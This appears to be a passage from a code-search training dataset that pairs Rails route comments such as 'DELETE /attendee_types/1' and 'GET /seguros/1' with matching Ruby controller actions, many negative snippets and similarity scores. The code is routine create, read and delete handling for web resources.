[ "0.6364461", "0.62592256", "0.62447065", "0.6225505", "0.6201862", "0.61649495", "0.61192274", "0.61114144", "0.60965455", "0.5935699", "0.5905182", "0.5905182", "0.5905182", "0.58582926", "0.5854418", "0.5840003", "0.5799654", "0.5795842", "0.5780963", "0.5771285", "0.571971", "0.57148635", "0.57061833", "0.5699235", "0.56920934", "0.5681118", "0.5680121", "0.56753635", "0.56638426", "0.5655471", "0.5636728", "0.56022143", "0.5600639", "0.5594781", "0.5588624", "0.5574292", "0.5564363", "0.5553047", "0.5550995", "0.5550425", "0.55265564", "0.55193055", "0.5514457", "0.55139595", "0.5511367", "0.55051947", "0.5502652", "0.54979694", "0.5496999", "0.54955333", "0.5483837", "0.5481708", "0.54777217", "0.5474204", "0.54629534", "0.544926", "0.54432416", "0.5443079", "0.54395926", "0.543725", "0.5424642", "0.5417885", "0.5411207", "0.54083765", "0.5404157", "0.5403158", "0.5394614", "0.53937376", "0.5391743", "0.5391713", "0.5391672", "0.5389878", "0.53836745", "0.5383632", "0.5382312", "0.5381613", "0.5377554", "0.5374689", "0.53735644", "0.53708", "0.5362288", "0.53582495", "0.53581476", "0.53577876", "0.5347865", "0.53442216", "0.53437805", "0.5343217", "0.534232", "0.5340578", "0.53374213", "0.53281516", "0.53261125", "0.5324754", "0.5324332", "0.5324324", "0.53233683", "0.5320469", "0.5313716", "0.5313544" ]
0.74284583
0
DELETE /attendee_types/1 DELETE /attendee_types/1.xml
def destroy @attendee_type = AttendeeType.find(params[:id]) @attendee_type.destroy respond_to do |format| format.html { redirect_to(attendee_types_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def deleteAttendee(name)\n RSVP.delete(@id,name)\n end", "def destroy\n @attendee = Attendee.find(params[:id])\n @attendee.destroy\n\n respond_to do |format|\n format.html { redirect_to attendees_url }\n format.json { head :ok }\n end\n end", "def destroy\n @attend = Attend.find(params[:id])\n @attend.destroy\n\n respond_to do |format|\n format.html { redirect_to(attends_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @attendee = Attendee.find(params[:id])\n @attendee.destroy\n\n respond_to do |format|\n format.html { redirect_to attendees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attendee = Attendee.find(params[:id])\n @attendee.destroy\n\n respond_to do |format|\n format.html { redirect_to attendees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attendence_type.destroy\n respond_to do |format|\n format.html { redirect_to attendence_types_url, notice: 'Attendence type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attender = Attender.find(params[:id])\n @attender.destroy\n\n respond_to do |format|\n format.html { redirect_to(attenders_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @incidenttype = Incidenttype.find(params[:id])\n @incidenttype.destroy\n\n respond_to do |format|\n format.html { redirect_to(incidenttypes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @custom_question_attendee = CustomQuestionAttendee.find(params[:id])\n @custom_question_attendee.destroy\n\n respond_to do |format|\n format.html { redirect_to(custom_question_attendees_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @engagement_attendee.destroy\n head :no_content\n end", "def destroy\n @attend = Attend.find(params[:id])\n @attend.destroy\n\n respond_to do |format|\n format.html { redirect_to attends_url }\n format.json { head :ok }\n end\n end", "def _delete(type, *args)\n type = type.to_s.camelize\n metadata = args.map { |full_name| {:full_name => full_name} }\n request :delete do |soap|\n soap.body = {\n :metadata => metadata\n }.merge(attributes!(type))\n end\n end", "def destroy\n @event_attendee = EventAttendee.find(params[:id])\n event_id =@event_attendee.event_id\n @group = @event_attendee.event.group\n require_permission \"adminEvents\" unless @event_attendee.user == current_user\n @event_attendee.destroy\n \n respond_to do |format|\n format.xml { head :ok }\n format.json {\n json = { :event_id => event_id }\n json[:ref] = params[:ref] if params[:ref]\n render :json => json\n }\n # TODO if it hasn't been deleted we need to tell the client, but this case only matters for data-injectors.\n end\n end", "def destroy\n @event_type = EventType.find(params[:id])\n @event_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(event_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n \n @attendee.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Attendee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @inv_type = InvType.find(params[:id])\n @inv_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(inv_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @attendee = current_user.attendees.find_by_id!(params[:id])\n @attendee.destroy\n\n respond_to do |format|\n format.html do\n flash[:notice] = 'Attendee correctly deleted.'\n redirect_to paper_path(@paper)\n end\n format.xml { head :ok }\n format.js { render :partial => 'papers/attendees' }\n end\n end", "def destroy\n @claim_type = ClaimType.find(params[:id])\n @claim_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(claim_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @alert_trigger_type = AlertTriggerType.find(params[:id])\n @alert_trigger_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_alert_trigger_types_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @access_type = AccessType.find(params[:id])\n @access_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(access_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @consumer_event_type = ConsumerEventType.find(params[:id])\n @consumer_event_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(consumer_event_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @newsletters_type = NewslettersType.find(params[:id])\n @newsletters_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(newsletters_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @association_type = AssociationType.find(params[:id])\n @association_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(association_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @fault_type = FaultType.find(params[:id])\n @fault_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(fault_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @type_expertise = TypeExpertise.find(params[:id])\n @type_expertise.destroy\n\n\n respond_to do |format|\n format.html { redirect_to(type_expertises_url) }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>[]}}\n end\n end", "def delete(type, id)\n http_delete @target, \"#{type_info(type, :path)}/#{Addressable::URI.encode(id)}\", @auth_header, @zone\n end", "def destroy\n \n attendance = Attendance.all.where(day_type: @day_type.id)\n attendance.each do |a|\n a.destroy\n end\n\n @day_type.destroy\n respond_to do |format|\n format.html { redirect_to day_types_url, notice: 'Day type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @email_type.destroy\n respond_to do |format|\n format.html { redirect_to email_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @partytype = Partytype.find(params[:id])\n @partytype.destroy\n\n respond_to do |format|\n format.html { redirect_to(partytypes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @notification_type = NotificationType.find(params[:id])\n @notification_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(notification_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @privacy_type = PrivacyType.find(params[:id])\n @privacy_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(privacy_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @establishment_type = @event.establishment_types.find(params[:id])\n @establishment_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(event_establishment_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @attendee.destroy\n render :status => 200,\n :json => { :success => true,\n :info => \"Attendee Destroyed\",\n :data => {} }\n end", "def destroy\n @hr_attendence = Hr::Attendence.find(params[:id])\n @hr_attendence.destroy\n\n respond_to do |format|\n format.html { redirect_to(hr_attendences_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @address_type = AddressType.find(params[:id])\n @address_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(address_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @absence_request = AbsenceRequest.find(params[:id])\n @absence_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(absence_requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @employee_type = EmployeeType.find(params[:id])\n @employee_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(employee_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @addresstype = Addresstype.find(params[:id])\n @addresstype.destroy\n\n respond_to do |format|\n format.html { redirect_to addresstypes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @party_type = PartyType.find(params[:id])\n @party_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(party_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(realty_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @accounttype = Accounttype.find(params[:id])\n @accounttype.destroy\n\n respond_to do |format|\n format.html { redirect_to(accounttypes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @edge_type = EdgeType.find(params[:id])\n @edge_type.destroy\n\n respond_to do |format|\n format.html { redirect_to edge_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attendence = Attendence.find(params[:id])\n @attendence.destroy\n\n respond_to do |format|\n format.html { redirect_to attendences_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @encounter_type = EncounterType.find(params[:id])\n @encounter_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(encounter_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @uri_type = UriType.find(params[:id])\n @uri_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(uri_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @extension_type = ExtensionType.find(params[:id])\n @extension_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(extension_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to attends_url }\n format.json { head :no_content }\n end\n end", "def destroy\n attendee&.destroy\n render json: { message: 'Attendee Deleted!' }\n end", "def destroy\n @agenda_type = AgendaType.find(params[:id])\n @agenda_type.destroy\n\n respond_to do |format|\n format.html { redirect_to agenda_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invite_request = InviteRequest.find(params[:id])\n @invite_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(invite_requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @appointment_request = AppointmentRequest.find(params[:id])\n @appointment_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(appointment_requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n begin\n @infraction_type.destroy\n rescue ActiveRecord::DeleteRestrictionError => exception\n flash[:error] = exception.message\n end\n\n respond_to do |format|\n format.html { redirect_to(infraction_types_url) }\n format.xml { head :ok }\n end\n end", "def delete\n ExcerciseType.find(params[:id]).destroy\n flash[:success] = \"Type ćwiczeń został usunięty\"\n redirect_to excercise_types_path\n end", "def destroy\n @attending = Attending.find(params[:id])\n @attending.destroy\n\n respond_to do |format|\n format.html { redirect_to attendings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rtype = Rtype.find(params[:id])\n @rtype.destroy\n\n respond_to do |format|\n format.html { redirect_to(rtypes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @flag_type = FlagType.find(params[:id])\n @flag_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_flag_types_url) }\n format.xml { head :ok }\n end\n end", "def remove_attendee\n @attendee = Dinner.find(params[:id]).attendee_dinners.find_by(attendee_id: params[:user_id])\n @attendee.delete\n render json: { message: 'user removed from dinner' }\n end", "def destroy\n @transaction_type = TransactionType.find(params[:id])\n @transaction_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @meeting_type = MeetingType.find(params[:id])\r\n @meeting_type.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to meeting_types_url, only_path: true }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete(type, id)\n action = '/ngsi10/updateContext'\n\n options = {\n body: {\n contextElements: [\n {\n type: type,\n isPattern: \"false\",\n id: id\n }\n ]\n }.to_json,\n headers: { 'Content-Type' => 'application/json', 'Accept' => 'application/json' }\n }\n\n HTTParty.post(@url + action, options)\n end", "def drop\n @entry_type = EntryType.find(params[:entry_type_id])\n @attrib_type = AttribType.find(params[:attrib_type_id])\n \n \n respond_to do |format|\n if @entry_type.attrib_types.delete(@attrib_type)\n flash[:notice] = 'AttribType was successfully removed.'\n format.html { redirect_to(@entry_type) }\n format.xml { head :ok }\n else \n format.html { render :action => \"show\" }\n format.xml { render :xml => @entry_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @invitee = Invitee.find(params[:id])\n @invitee.destroy\n\n respond_to do |format|\n format.html { redirect_to(invitees_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @domicile_type = DomicileType.find(params[:id])\n @domicile_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(domicile_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @views_email = ViewsEmail.find(params[:id])\n @views_email.destroy\n\n respond_to do |format|\n format.html { redirect_to(views_emails_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @appointment_type.destroy\n respond_to do |format|\n format.html { redirect_to appointment_types_url, notice: 'Appointment type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(id)\r\n connection.delete(\"/#{@doctype}[@ino:id=#{id}]\")\r\n end", "def destroy\n @probe_type = ProbeType.find(params[:id])\n @probe_type.destroy\n\n respond_to do |format|\n format.html { redirect_to probe_types_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @drive_type = DriveType.find(params[:id])\n @drive_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(drive_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @etd = Etd.find(params[:id])\n @etd.destroy\n\n respond_to do |format|\n format.html { redirect_to(etds_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @engineer_type = EngineerType.find(params[:id])\n @engineer_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(engineer_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ad_zone_type = AdZoneType.find(params[:id])\n @ad_zone_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(ad_zone_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @sitetype = Sitetype.find(params[:id])\n @sitetype.destroy\n\n respond_to do |format|\n format.html { redirect_to(sitetypes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @repair_type = RepairType.find(params[:id])\n @repair_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(repair_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @account_type = AccountType.find(params[:id])\n @account_type.destroy\n \n respond_to do |format|\n format.html { redirect_to admin_account_types_url }\n format.xml { render :nothing => true }\n end\n end", "def destroy\n @subscription_type = SubscriptionType.find(params[:id])\n @subscription_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscription_types_url) }\n format.xml { head :ok }\n end\n end", "def delete\n eadid = (params[\"eadid\"] || \"\").strip\n if eadid == \"\"\n log_error(\"Cannot delete EAD. No ID was provided.\")\n flash[:alert] = \"No EAD ID was provided.\"\n redirect_to upload_list_url()\n return\n end\n\n filename = ENV[\"EAD_XML_PENDING_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n if !File.exist?(filename)\n log_error(\"Cannot delete EAD. File was not found: #{filename}\")\n flash[:alert] = \"Source file not found for finding aid: #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n target = ENV[\"EAD_XML_DELETED_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n FileUtils.mv(filename, target)\n\n if !File.exist?(target)\n log_error(\"File delete failed: #{filename}\")\n flash[:alert] = \"Could not delete finding aid #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n Rails.logger.info(\"Findind aid #{eadid} has been deleted\")\n flash[:notice] = \"Findind aid #{eadid} has been deleted\"\n redirect_to upload_list_url()\n rescue => ex\n render_error(\"delete\", ex, current_user)\n end", "def destroy\n @downtime_type.destroy\n respond_to do |format|\n format.html { redirect_to downtime_types_url, notice: '成功删除.' }\n format.json { head :no_content }\n end\n end", "def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end", "def destroy\n @applicant_status = ApplicantStatus.find(params[:id])\n @applicant_status.destroy\n\n respond_to do |format|\n format.html { redirect_to(applicant_statuses_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @entitlement = Entitlement.find(params[:id])\n @entitlement.destroy\n\n respond_to do |format|\n format.html { redirect_to(entitlements_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @entry_mail_type = EntryMailType.find(params[:id])\n @entry_mail_type.destroy\n \n respond_to do |format|\n format.html { redirect_to entry_mail_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attendance = Attendance.find(params[:id])\n @attendance.destroy\n\n respond_to do |format|\n format.html { redirect_to(attendances_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @pay_type = PayType.find(params[:id])\n @pay_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(pay_types_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @attendence_info.destroy\n respond_to do |format|\n format.html { redirect_to attendence_infos_url, notice: 'Attendence info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @envelope = Envelope.find(params[:id])\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to(envelopes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @attendence.destroy\n respond_to do |format|\n format.html { redirect_to attendences_url, notice: 'Attendence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attendence.destroy\n respond_to do |format|\n format.html { redirect_to attendences_url, notice: 'Attendence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @adjunto = Adjunto.find(params[:id])\n @adjunto.destroy\n\n respond_to do |format|\n format.html { redirect_to(adjuntos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ticket_type = TicketType.find(params[:id])\n @ticket_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(ticket_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @event_type = EventType.find(params[:id])\n @event_type.destroy\n\n\t\tmsg = I18n.t('app.msgs.success_deleted', :obj => I18n.t('app.common.event_type'))\n\t\tsend_status_update(I18n.t('app.msgs.cache_cleared', :action => msg))\n respond_to do |format|\n format.html { redirect_to admin_event_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @activity_type = ActivityType.find(params[:id])\n @activity_type.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @az_simple_data_type = AzSimpleDataType.find(params[:id])\n @az_simple_data_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_simple_data_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @agency_type = AgencyType.find(params[:id])\n @agency_type.destroy\n\n respond_to do |format|\n format.html { redirect_to agency_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mail_typ = MailTyp.find(params[:id])\n @mail_typ.destroy\n\n respond_to do |format|\n format.html { redirect_to mail_typs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @eventtype.events.each do |e|\n e.destroy\n end\n @eventtype.destroy\n respond_to do |format|\n format.html { redirect_to eventtypes_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @receipt_item_type = current_account.receipt_item_types.find(params[:id])\n @receipt_item_type.destroy\n respond_with @receipt_item_type, location: receipt_item_types_url \n end", "def destroy\n\t @email_type_list = EmailTypeList.find(params[:id])\n @email_type_list.destroy\n respond_to do |format|\n format.html { redirect_to email_type_lists_url, notice: 'Email type list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.68941605", "0.67210585", "0.6717508", "0.67025185", "0.67025185", "0.6591217", "0.65573406", "0.64150095", "0.63885945", "0.6382531", "0.6351613", "0.63237554", "0.63018775", "0.6299788", "0.6282633", "0.62787324", "0.62749934", "0.62467957", "0.6245012", "0.62158066", "0.6211335", "0.62032056", "0.61920446", "0.6191803", "0.6182542", "0.6174316", "0.61697555", "0.6166396", "0.6155481", "0.6150284", "0.61494106", "0.6122419", "0.61101645", "0.61090773", "0.6094764", "0.6091235", "0.60910386", "0.60814667", "0.60808104", "0.607879", "0.6077779", "0.60690224", "0.6051029", "0.60393554", "0.6031801", "0.6031418", "0.6031349", "0.60137516", "0.6007557", "0.6000215", "0.5994262", "0.5994011", "0.5984318", "0.59778434", "0.59750485", "0.59722096", "0.5957669", "0.5957488", "0.5955823", "0.5951321", "0.5950432", "0.5932465", "0.59300137", "0.5923806", "0.5923769", "0.5915757", "0.59146297", "0.5914604", "0.5911469", "0.59095764", "0.59086424", "0.59047854", "0.59007794", "0.58970827", "0.58953357", "0.5893629", "0.5890774", "0.5890674", "0.5890116", "0.5883765", "0.5883671", "0.5882489", "0.58764845", "0.58739585", "0.58676344", "0.58665586", "0.58631086", "0.58606374", "0.58606374", "0.5858869", "0.58575493", "0.5853982", "0.58439326", "0.58415353", "0.5836119", "0.58357525", "0.583086", "0.5830693", "0.5830517", "0.5828444" ]
0.78477234
0
GET /seguros/1 GET /seguros/1.json
def show @seguro = Seguro.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @seguro } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @sezione = Sezione.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sezione }\n end\n end", "def show\n @seguidore = Seguidore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seguidore }\n end\n end", "def show\n @selecao = Selecao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @selecao }\n end\n end", "def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end", "def show\n @ventas_seguimiento = Ventas::Seguimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ventas_seguimiento }\n end\n end", "def show\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @servicio }\n end\n end", "def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end", "def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end", "def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end", "def show\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @solicitud_servicio }\n end\n end", "def index\n\n if params[:ventas_seguimiento]\n cliente_id = params[:ventas_seguimiento][:cliente_id]\n @ventas_seguimientos = Ventas::Seguimiento.where(\"cliente_id = ?\",cliente_id).order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n @seguimientos = Ventas::Seguimiento.new(:cliente_id => cliente_id)\n else\n @ventas_seguimientos = Ventas::Seguimiento.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n @seguimientos = Ventas::Seguimiento.new\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas_seguimientos }\n end\n end", "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end", "def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end", "def show\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sistema }\n end\n end", "def show\n @suplente = Suplente.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @suplente }\n end\n end", "def show\n @soiree = Soiree.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @soiree }\n end\n end", "def index\n logement = Logement.find_by(id:params[:logement_id])\n equipement = logement.equi_securites[0].title\n equipements = logement.equi_securites[0]\n\n render json: {\n securites:equipement,\n fichier:equipements\n }\n end", "def show\n @sugerencia = Sugerencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sugerencia }\n end\n end", "def show\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sitio }\n end\n end", "def new\n @seguro = Seguro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seguro }\n end\n end", "def show\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sitio_entrega }\n end\n end", "def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end", "def index\n @sesions = Sesion.where(entidad_paraestatal_id: @entidad_paraestatal.id).all\n @suplente = Suplente.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sesions }\n end\n end", "def show\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @socio }\n end\n end", "def show\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @respuesta }\n end\n end", "def show\n @escola = Escola.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @escola }\n end\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end", "def show\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegiatura }\n end\n end", "def show\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @socio }\n end\n end", "def index\n @ultimo_grado_de_estudios = UltimoGradoDeEstudio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ultimo_grado_de_estudios }\n end\n end", "def show\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concurso }\n end\n end", "def index\n @seguridad_usuarios = Seguridad::Usuario.order('usuario')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @seguridad_usuarios }\n end\n end", "def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estudiante }\n end\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end", "def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end", "def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end", "def index\r\n @salles = Salle.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @salles }\r\n end\r\n end", "def index\n @soatseguros = Soatseguro.all\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tecnico }\n end\n end", "def show\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ginasio }\n end\n end", "def show\n @estatuto = Estatuto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estatuto }\n end\n end", "def show\n @minicurso = Minicurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @minicurso }\n end\n end", "def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @peso }\n end\n end", "def show\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @juzgado }\n end\n end", "def index\n @subcategorias = Subcategoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @subcategorias }\n end\n end", "def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end", "def show\n @relogio = Relogio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relogio }\n end\n end", "def semesters\n uni_year = UniYear.find_by_id(params[:uni_year_id])\n @semesters = uni_year ? uni_year.semesters : []\n \n respond_to do |format|\n format.json { render json: @semesters }\n end\n end", "def show\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => 